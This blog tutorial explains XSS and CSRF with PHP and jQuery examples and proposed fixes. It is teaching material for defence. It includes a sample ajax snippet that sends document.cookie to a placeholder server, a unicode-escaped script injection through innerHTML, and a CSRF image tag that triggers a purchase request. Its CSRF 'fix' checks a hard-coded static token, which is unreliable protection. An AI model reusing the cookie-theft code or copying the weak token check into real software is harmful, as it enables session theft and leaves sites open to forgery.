Let's talk about Web front-end security

2018-02-11
#web programming

What is XSS

The definition of XSS is Cross-site scripting (XSS) is a type of computer security vulnerability) typically found in web applications. XSS enables attackers to inject client-side scripts into web pages viewed by other users. A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same-origin policy. (From wikipedia)

Let’s assume that we have a PHP page:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
    $username="<script>alert('Hanslen');</script>";
?>
<!DOCYTPE HTML>
<html>
    <head>
        <meta charset="utf-8" />
    </head>
    <body>
        <div>
            用户名：<?php echo $username;?>
        </div>
        <div>
            Some texts 1
        </div>
        <div>
            Some texts 2
        </div>
        <div>
            Some texts 3
        </div>
    </body>
</html>

If we load this page, we will see the alert message. But that’s what we do not what. Because the page is excuting these script. Some malicious behavior may be run the ajax code like:

1
2
3
4
5
$.ajax({
    url: 'your_server',
    dataType: 'jsonp',
    data: {'Steal_cookie': document.cookie}
});

How to prevent XSS

What we need to do is to escape the output data of the front-end. For the previous example, our php code should be:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
    $username="<script>alert('Hanslen');</script>";
?>
<!DOCYTPE HTML>
<html>
    <head>
        <meta charset="utf-8" />
    </head>
    <body>
        <div>
            用户名：<?php echo htmlentities($username);?>
        </div>
        <div>
            Some texts 1
        </div>
        <div>
            Some texts 2
        </div>
        <div>
            Some texts 3
        </div>
    </body>
</html>

Advanced XSS attacking

Let’s do something with innerHTML,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
    $username="\u003cscript\u003ealert('okok');";
?>
<!DOCYTPE HTML>
<html>
    <head>
        <meta charset="utf-8" />
        <script src="https://ss0.bdstatic.com/5aV1bjqh_Q23odCf/static/superman/js/lib/jquery-1.10.2_d88366fd.js"></script>
    </head>
    <body>
        <div>
            Username：<?php echo htmlentities($username);?>
        </div>
        <div>
            Some text 1
        </div>
        <div>
            Some text 2
        </div>
        <div>
            Some text 3
        </div>
        <script>
            $('#username_info').append("<?php echo htmlentities($username);?>");
        </script>
    </body>
</html>

We are using "\u003cscript\u003ealert('okok');" to disguise the < and > by using unicode. And later, when we use append, jQuery append is using innerHTML. And innerHTML will translate unicode to real char.

Solution of this problem:

1
document.getElementById('username_info').innerHTML = <?php echo json_encode(htmlentities($username));?>;

Because all the sensitive information is often stored in the cookie. So, we need to add property HttpOnly to cookie. 

1
2
3
<?php
    setcookie("userpass", "doctorhou-shuai", NULL, NULL, NULL, NULL, TRUE);
?>

After doing this, when we type document.cookie in the console, we will get nothing.

CSRF Attack

CSRF stands for Cross-site request forgery.

The following code will submit a get request to the server, when the user load the hacker’s page.

1
2
3
4
5
6
7
8
9
<!DOCYTPE HTML>
<html>
    <head>
        <meta charset="utf-8" />
    </head>
    <body>
        <img src="http://localhost:8082/lab/xsrflab/submit.php?pid=1" />
    </body>
</html>

The way to fix this problem is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
$username = $_COOKIE['username'];
$productId = $_POST['pid'];
$token=$_POST['token'];
// check token
function check_token($token) {
    if ($token==='doctorhou-shuai') {
        return true;
    }
    return false;
}
if (!check_token($token)) {
    // If not match...failed....
    return ;
}
// purchase steps
//store_into_database($username, $productId);
?>
<meta charset="utf-8" />
<?php
echo $username . 'buy product：' . $productId;
?>

Comments: